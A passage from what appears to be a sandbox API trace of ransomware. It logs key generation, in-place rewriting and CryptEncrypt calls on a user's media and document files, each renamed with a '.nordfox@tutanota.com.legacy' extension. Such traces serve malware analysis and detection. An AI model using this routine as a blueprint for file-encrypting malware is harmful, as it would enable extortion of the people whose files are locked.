dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb29e [0117.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.765] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.765] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.765] CloseHandle (hObject=0x6a8) returned 1 [0117.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0117.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0117.765] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tbYLfhp-ipjFW.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tbylfhp-ipjfw.wav"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tbYLfhp-ipjFW.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tbylfhp-ipjfw.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0117.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78c0 | out: hHeap=0x520000) returned 1 [0117.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7a60 | out: hHeap=0x520000) returned 1 [0117.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7e08 [0117.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.768] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t bm0QhvdC.flv", dwFileAttributes=0x80) returned 1 [0117.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7ed8 [0117.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41230 [0117.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7ed8 | out: hHeap=0x520000) returned 1 [0117.768] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t bm0QhvdC.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t bm0qhvdc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.768] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=35900) returned 1 [0117.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c3c) returned 0x609bd8 [0117.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c3c) returned 0x612820 [0117.769] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x8c3c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x8c3c, lpOverlapped=0x0) returned 1 [0117.770] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-35900, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.770] WriteFile (in: hFile=0x6a8, lpBuffer=0x612820*, nNumberOfBytesToWrite=0x8c3c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612820*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8c3c, lpOverlapped=0x0) returned 1 [0117.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612820 | out: hHeap=0x520000) returned 1 [0117.771] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8c3c [0117.771] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.771] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.771] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.771] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.771] CloseHandle (hObject=0x6a8) returned 1 [0117.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.772] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t bm0QhvdC.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t bm0qhvdc.flv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t bm0QhvdC.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t bm0qhvdc.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41230 | out: hHeap=0x520000) returned 1 [0117.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e08 | out: hHeap=0x520000) returned 1 [0117.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7928 | out: hHeap=0x520000) returned 1 [0117.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7f40 [0117.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0117.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0117.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0117.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0117.774] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qxPSVoftxL.m4a", dwFileAttributes=0x80) returned 1 [0117.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7fa8 [0117.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41510 [0117.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fa8 | out: hHeap=0x520000) returned 1 [0117.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qxPSVoftxL.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qxpsvoftxl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.775] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=19448) returned 1 [0117.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4bf8) returned 0x609bd8 [0117.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4bf8) returned 0x60e7d8 [0117.775] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x4bf8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bf8, lpOverlapped=0x0) returned 1 [0117.776] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-19448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.776] WriteFile (in: hFile=0x6a8, lpBuffer=0x60e7d8*, nNumberOfBytesToWrite=0x4bf8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e7d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4bf8, lpOverlapped=0x0) returned 1 [0117.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60e7d8 | out: hHeap=0x520000) returned 1 [0117.776] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bf8 [0117.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.777] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.777] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.777] CloseHandle (hObject=0x6a8) returned 1 [0117.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0117.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0117.777] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qxPSVoftxL.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qxpsvoftxl.m4a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qxPSVoftxL.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qxpsvoftxl.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41510 | out: hHeap=0x520000) returned 1 [0117.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7f40 | out: hHeap=0x520000) returned 1 [0117.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81b0 | out: hHeap=0x520000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0117.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0117.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.779] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0117.779] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.779] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qsFMcsP7SF7Y5f.ots", dwFileAttributes=0x80) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0117.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0117.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0117.780] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qsFMcsP7SF7Y5f.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qsfmcsp7sf7y5f.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.780] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=77080) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12d18) returned 0x609bd8 [0117.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12d18) returned 0x2e41f30 [0117.780] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x12d18, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x12d18, lpOverlapped=0x0) returned 1 [0117.783] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-77080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.783] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x12d18, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12d18, lpOverlapped=0x0) returned 1 [0117.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.787] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12d18 [0117.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.788] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.789] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.789] CloseHandle (hObject=0x6a8) returned 1 [0117.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0117.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.789] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qsFMcsP7SF7Y5f.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qsfmcsp7sf7y5f.ots"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qsFMcsP7SF7Y5f.ots.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qsfmcsp7sf7y5f.ots.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0117.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0117.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0117.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0117.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.791] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.791] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.791] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\QMCy85dfaOOQUVZ.jpg", dwFileAttributes=0x80) returned 1 [0117.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0117.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0117.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0117.792] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\QMCy85dfaOOQUVZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qmcy85dfaooquvz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.792] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=79645) returned 1 [0117.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1371d) returned 0x609bd8 [0117.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1371d) returned 0x2e41f30 [0117.793] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1371d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1371d, lpOverlapped=0x0) returned 1 [0117.796] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-79645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.796] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1371d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1371d, lpOverlapped=0x0) returned 1 [0117.796] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.796] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.796] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1371d [0117.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.797] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.797] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.797] CloseHandle (hObject=0x6a8) returned 1 [0117.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.797] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\QMCy85dfaOOQUVZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qmcy85dfaooquvz.jpg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\QMCy85dfaOOQUVZ.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qmcy85dfaooquvz.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0117.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0117.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0117.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7d38 [0117.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.801] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qKDnt8nOJ.mp3", dwFileAttributes=0x80) returned 1 [0117.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e82e8 [0117.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e410c0 [0117.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82e8 | out: hHeap=0x520000) returned 1 [0117.801] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qKDnt8nOJ.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkdnt8noj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.802] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=27587) returned 1 [0117.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6bc3) returned 0x609bd8 [0117.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6bc3) returned 0x6107a8 [0117.802] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x6bc3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x6bc3, lpOverlapped=0x0) returned 1 [0117.803] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-27587, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.803] WriteFile (in: hFile=0x6a8, lpBuffer=0x6107a8*, nNumberOfBytesToWrite=0x6bc3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6107a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6bc3, lpOverlapped=0x0) returned 1 [0117.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6107a8 | out: hHeap=0x520000) returned 1 [0117.803] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6bc3 [0117.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.804] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.804] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.804] CloseHandle (hObject=0x6a8) returned 1 [0117.804] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.804] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.804] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qKDnt8nOJ.mp3" (normalized: 